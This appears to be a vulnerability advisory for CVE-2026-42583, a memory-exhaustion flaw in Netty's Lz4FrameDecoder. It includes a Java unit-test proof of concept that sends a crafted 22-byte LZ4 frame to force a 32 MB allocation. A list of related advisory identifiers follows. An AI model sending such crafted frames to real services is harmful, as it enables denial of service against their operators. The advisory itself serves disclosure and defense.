CVE-2026-42583
ADVISORY - githubSummary
Summary
Lz4FrameDecoder allocates a ByteBuf of size decompressedLength (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus compressedLength payload bytes - 22 bytes if compressedLength == 1 - to force that allocation.
Details
io.netty.handler.codec.compression.Lz4FrameDecoder#decode
Header fields are trusted for sizing. On the compressed path, after readableBytes >= compressedLength, the decoder does ctx.alloc().buffer(decompressedLength, decompressedLength) then decompresses.
PoC
The test below demonstrates how an attacker sending 22 bytes will force the server to allocate 32MB
@Test
void test() throws Exception {
EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
try {
AtomicReference<Throwable> serverError = new AtomicReference<>();
CountDownLatch latch = new CountDownLatch(1);
ServerBootstrap server = new ServerBootstrap()
.group(workerGroup)
.channel(NioServerSocketChannel.class)
.childHandler(new ChannelInitializer<SocketChannel>() {
@Override
protected void initChannel(SocketChannel ch) {
ch.pipeline()
.addLast(new Lz4FrameDecoder())
.addLast(new ChannelInboundHandlerAdapter() {
@Override
public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
if (cause instanceof DecoderException) {
serverError.set(cause.getCause());
} else {
serverError.set(cause);
}
latch.countDown();
}
});
}
});
ChannelFuture serverChannel = server.bind(0).sync();
Bootstrap client = new Bootstrap()
.group(workerGroup)
.channel(NioSocketChannel.class)
.handler(new ChannelInboundHandlerAdapter() {
@Override
public void channelActive(ChannelHandlerContext ctx) {
ByteBuf buf = ctx.alloc().buffer(22, 22);
buf.writeLong(MAGIC_NUMBER);
buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);
buf.writeIntLE(1);
buf.writeIntLE(1 << 25);
buf.writeIntLE(0);
buf.writeByte(0);
ctx.writeAndFlush(buf);
ctx.fireChannelActive();
}
});
ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();
assertTrue(latch.await(10, TimeUnit.SECONDS));
assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());
clientChannel.channel().close();
serverChannel.channel().close();
} finally {
workerGroup.shutdownGracefully();
}
}
Impact
Untrusted senders without per-channel / aggregate limits can stress memory with many small requests.
GitHub
CVSS SCORE
7.5highChainguard
CGA-5c4g-hmfw-hqxp
-
minimos
MINI-2m83-w78r-cmg5
-
minimos
MINI-4484-4376-5c3r
-
minimos
MINI-4h3v-29mq-m5qv
-
minimos
MINI-4rjc-3vcg-3prc
-
minimos
MINI-4wqw-8r77-v848
-
minimos
MINI-56m8-wchf-m2m7
-
minimos
MINI-5867-mfrm-72cv
-
minimos
MINI-5mhg-h2ww-x425
-
minimos
MINI-6r75-8qgv-3vq5
-
minimos
MINI-cq5h-p245-wxvc
-
minimos
MINI-f793-g5gv-r5p8
-
minimos
MINI-g2x4-6mc5-gf2h
-
minimos
MINI-gmh6-jpjh-45f8
-
minimos
MINI-h6wx-vjw5-5qh9
-
minimos
MINI-hf93-vc58-39jq
-
minimos
MINI-hxfx-frwv-wwhg
-
minimos
MINI-j64x-r3v3-g4cm
-
minimos
MINI-vf65-5q44-pmmj
-
minimos
MINI-w2wr-3qfv-69jx
-
minimos
MINI-wjcj-8mq6-3mj7
-
minimos
MINI-x43q-qfj8-hq82
-
minimos
MINI-x785-ww5w-53p4
-
minimos
MINI-xmwf-27wv-8p2x
-